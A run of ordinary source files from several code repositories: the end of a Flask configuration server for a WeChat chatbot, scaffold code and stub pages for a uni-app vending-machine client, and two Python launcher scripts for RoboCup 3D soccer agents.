reconnect_wechat(): try: # 导入微信登录点击器 from src.Wechat_Login_Clicker.Wechat_Login_Clicker import click_wechat_buttons # 执行点击操作 result = click_wechat_buttons() if result is False: return jsonify({ 'status': 'error', 'message': '找不到微信登录窗口' }) return jsonify({ 'status': 'success', 'message': '微信重连操作已执行' }) except Exception as e: return jsonify({ 'status': 'error', 'message': f'微信重连失败: {str(e)}' }) @app.route('/get_vision_api_configs') def get_vision_api_configs(): """获取图像识别API配置""" try: # 构建图像识别API提供商列表 vision_providers = [ { "id": "kourichat-global", "name": "KouriChat API (推荐)", "url": "https://api.kourichat.com/v1", "register_url": "https://api.kourichat.com/register", "status": "active", "priority": 1 }, { "id": "moonshot", "name": "Moonshot(月之暗面)", "url": "https://api.moonshot.cn/v1", "register_url": "https://platform.moonshot.cn/console/api-keys", "status": "active", "priority": 2 }, { "id": "openai", "name": "OpenAI", "url": "https://api.openai.com/v1", "register_url": "https://platform.openai.com/api-keys", "status": "active", "priority": 3 }, ] # 构建模型配置 - 只包含支持图像识别的模型 vision_models = { "kourichat-global": [ {"id": "kourichat-vision", "name": "kourichat-vision"}, {"id": "gemini-2.5-pro", "name": "Gemini 2.5 Pro"}, {"id": "gpt-4o", "name": "GPT-4o"} ], "moonshot": [ {"id": "moonshot-v1-8k-vision-preview", "name": "moonshot-v1-8k-vision-preview"} ] } return jsonify({ "status": "success", "api_providers": vision_providers, "models": vision_models }) except Exception as e: logger.error(f"获取图像识别API配置失败: {str(e)}") return jsonify({ "status": "error", "message": str(e) }) if __name__ == '__main__': try: main() except KeyboardInterrupt: print("\n") print_status("正在关闭服务...", "warning", "STOP") cleanup_processes() print_status("配置管理系统已停止", "info", "BYE") print("\n") except Exception as e: print_status(f"系统错误: {str(e)}", "error", "ERROR") cleanup_processes()
2302_81798979/KouriChat
【可选】内网加固补丁(无密码保护穿透适用)/run_config_web.py
Python
unknown
109,530
<script> export default { onLaunch: function() { console.log('App Launch') }, onShow: function() { console.log('App Show') }, onHide: function() { console.log('App Hide') } } </script> <style> /*每个页面公共css */ </style>
2302_81659494/VendingMachine_0
App.vue
Vue
unknown
254
function formatMsg(tag, msg){ const time = new Date().toLocaleTimeString(); return `${tag}${time}${msg}`; } export default{ info(tag, msg){ console.log(`[INFO] ${formatMsg(tag,msg)}`); }, error(tag,msg){ console.error(`[ERROR] ${formatMsg(tag,msg)}`); } }
2302_81659494/VendingMachine_0
components/log/log.js
JavaScript
unknown
268
import log from "../log/log"; let tag ="login-manager"; var token =""; export default{ setToken : function(newToken){ log.info(tag, `setToken: ${newToken}`) token = newToken }, isLoggedIn: function(){ let isLoggedIn = (token && token.length>0); log.info(tag, `isLoggedIn: ${isLoggedIn}`); return isLoggedIn; }, // 获取 token getToken: function() { return token; } }
2302_81659494/VendingMachine_0
components/login-manager/login-manager.js
JavaScript
unknown
389
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8" /> <script> var coverSupport = 'CSS' in window && typeof CSS.supports === 'function' && (CSS.supports('top: env(a)') || CSS.supports('top: constant(a)')) document.write( '<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0' + (coverSupport ? ', viewport-fit=cover' : '') + '" />') </script> <title></title> <!--preload-links--> <!--app-context--> </head> <body> <div id="app"><!--app-html--></div> <script type="module" src="/main.js"></script> </body> </html>
2302_81659494/VendingMachine_0
index.html
HTML
unknown
675
import App from './App' // #ifndef VUE3 import Vue from 'vue' import './uni.promisify.adaptor' Vue.config.productionTip = false App.mpType = 'app' const app = new Vue({ ...App }) app.$mount() // #endif // #ifdef VUE3 import { createSSRApp } from 'vue' import log from "./components/log/log.js" import constant from './models/constant' import loginManager from './components/login-manager/login-manager' export function createApp() { const app = createSSRApp(App) app.config.globalProperties.$log = log app.config.globalProperties.constant = constant app.config.globalProperties.loginManager = loginManager return { app } } // #endif
2302_81659494/VendingMachine_0
main.js
JavaScript
unknown
653
export default { BASE_URL: "https://vending.neumooc.com/prod-api", MACHINE_NO: "c1d6b822ce5f436f818a391be6faf386", }
2302_81659494/VendingMachine_0
models/constant.js
JavaScript
unknown
118
export default class Order { constructor(orderNo,createTime,productName,productCover,orderStatus, payAmount) { this.orderNo = orderNo; this.createTime = createTime; this.productName = productName; this.productCover = productCover; this.orderStatus = orderStatus; this.payAmount = payAmount; } static parseFromJsonString(jsonString) { let jsonObject = JSON.parse(jsonString); return new Order( jsonObject.orderNo, jsonObject.createTime, jsonObject.productName, jsonObject.productCover, jsonObject.orderStatus, jsonObject.payAmount ); } }
2302_81659494/VendingMachine_0
models/order.js
JavaScript
unknown
613
export default class Product { constructor(id, name, price, imageUrl, stock) { this.id = id; this.name = name; this.price = price; this.imageUrl = imageUrl; this.stock = stock; } static parseFromJsonString(jsonString) { let jsonObject = JSON.parse(jsonString); return new Product( jsonObject.id, jsonObject.name, jsonObject.price, jsonObject.imageUrl, jsonObject.stock ); } }
2302_81659494/VendingMachine_0
models/product.js
JavaScript
unknown
436
<template> <view class="content"> <image class="logo" src="/static/logo.png"></image> <view class="text-area"> <text class="title">{{title}}</text> </view> </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> .content { display: flex; flex-direction: column; align-items: center; justify-content: center; } .logo { height: 200rpx; width: 200rpx; margin-top: 200rpx; margin-left: auto; margin-right: auto; margin-bottom: 50rpx; } .text-area { display: flex; justify-content: center; } .title { font-size: 36rpx; color: #8f8f94; } </style>
2302_81659494/VendingMachine_0
pages/index/index.vue
Vue
unknown
694
<template> <view class="content"> 登录页 </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> </style>
2302_81659494/VendingMachine_0
pages/login/login.vue
Vue
unknown
218
<template> <view class="content"> 订单页 </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> </style>
2302_81659494/VendingMachine_0
pages/order/order.vue
Vue
unknown
218
<template> <view class="content"> 订单列表页 </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> </style>
2302_81659494/VendingMachine_0
pages/order-list/order-list.vue
Vue
unknown
224
<template> <view class="content"> 商品列表页 </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> </style>
2302_81659494/VendingMachine_0
pages/product-list/product-list.vue
Vue
unknown
224
<template> <view class="content"> 购买界页 </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> </style>
2302_81659494/VendingMachine_0
pages/purchase/purchase.vue
Vue
unknown
221
<template> <view class="content"> 注册页 </view> </template> <script> export default { data() { return { title: 'Hello' } }, onLoad() { }, methods: { } } </script> <style> </style>
2302_81659494/VendingMachine_0
pages/register/register.vue
Vue
unknown
218
uni.addInterceptor({ returnValue (res) { if (!(!!res && (typeof res === "object" || typeof res === "function") && typeof res.then === "function")) { return res; } return new Promise((resolve, reject) => { res.then((res) => { if (!res) return resolve(res) return res[0] ? reject(res[0]) : resolve(res[1]) }); }); }, });
2302_81659494/VendingMachine_0
uni.promisify.adaptor.js
JavaScript
unknown
373
/** * 这里是uni-app内置的常用样式变量 * * uni-app 官方扩展插件及插件市场(https://ext.dcloud.net.cn)上很多三方插件均使用了这些样式变量 * 如果你是插件开发者,建议你使用scss预处理,并在插件代码中直接使用这些变量(无需 import 这个文件),方便用户通过搭积木的方式开发整体风格一致的App * */ /** * 如果你是App开发者(插件使用者),你可以通过修改这些变量来定制自己的插件主题,实现自定义主题功能 * * 如果你的项目同样使用了scss预处理,你也可以直接在你的 scss 代码中使用如下变量,同时无需 import 这个文件 */ /* 颜色变量 */ /* 行为相关颜色 */ $uni-color-primary: #007aff; $uni-color-success: #4cd964; $uni-color-warning: #f0ad4e; $uni-color-error: #dd524d; /* 文字基本颜色 */ $uni-text-color:#333;//基本色 $uni-text-color-inverse:#fff;//反色 $uni-text-color-grey:#999;//辅助灰色,如加载更多的提示信息 $uni-text-color-placeholder: #808080; $uni-text-color-disable:#c0c0c0; /* 背景颜色 */ $uni-bg-color:#ffffff; $uni-bg-color-grey:#f8f8f8; $uni-bg-color-hover:#f1f1f1;//点击状态颜色 $uni-bg-color-mask:rgba(0, 0, 0, 0.4);//遮罩颜色 /* 边框颜色 */ $uni-border-color:#c8c7cc; /* 尺寸变量 */ /* 文字尺寸 */ $uni-font-size-sm:12px; $uni-font-size-base:14px; $uni-font-size-lg:16px; /* 图片尺寸 */ $uni-img-size-sm:20px; $uni-img-size-base:26px; $uni-img-size-lg:40px; /* Border Radius */ $uni-border-radius-sm: 2px; $uni-border-radius-base: 3px; $uni-border-radius-lg: 6px; $uni-border-radius-circle: 50%; /* 水平间距 */ $uni-spacing-row-sm: 5px; $uni-spacing-row-base: 10px; $uni-spacing-row-lg: 15px; /* 垂直间距 */ $uni-spacing-col-sm: 4px; $uni-spacing-col-base: 8px; $uni-spacing-col-lg: 12px; /* 透明度 */ $uni-opacity-disabled: 0.3; // 组件禁用态的透明度 /* 文章场景相关 */ $uni-color-title: #2C405A; // 文章标题颜色 $uni-font-size-title:20px; $uni-color-subtitle: #555555; // 二级标题颜色 $uni-font-size-subtitle:26px; $uni-color-paragraph: #3F536E; // 文章段落颜色 $uni-font-size-paragraph:15px;
2302_81659494/VendingMachine_0
uni.scss
SCSS
unknown
2,217
from scripts.commons.Script import Script script = Script() # Initialize: load config file, parse arguments, build cpp modules a = script.args from agent.Agent import Agent # Args: Server IP, Agent Port, Monitor Port, Uniform No., Team name, Enable Log, Enable Draw team_args = ((a.i, a.p, a.m, u, a.t, True, True) for u in range(1,12)) script.batch_create(Agent,team_args) while True: script.batch_execute_agent() script.batch_receive()
2302_81918214/robocup3D
FCPCodebase-main/Run_Full_Team.py
Python
agpl-3.0
449
from scripts.commons.Script import Script script = Script() # Initialize: load config file, parse arguments, build cpp modules a = script.args from agent.Agent import Agent # Args: Server IP, Agent Port, Monitor Port, Uniform No., Team name, Enable Log, Enable Draw script.batch_create(Agent, ((a.i, a.p, a.m, a.u, a.t, True, True),)) #one player for home team script.batch_create(Agent, ((a.i, a.p, a.m, a.u, "Opponent", True, True),)) #one player for away team while True: script.batch_execute_agent() script.batch_receive()
2302_81918214/robocup3D
FCPCodebase-main/Run_One_vs_One.py
Python
agpl-3.0
546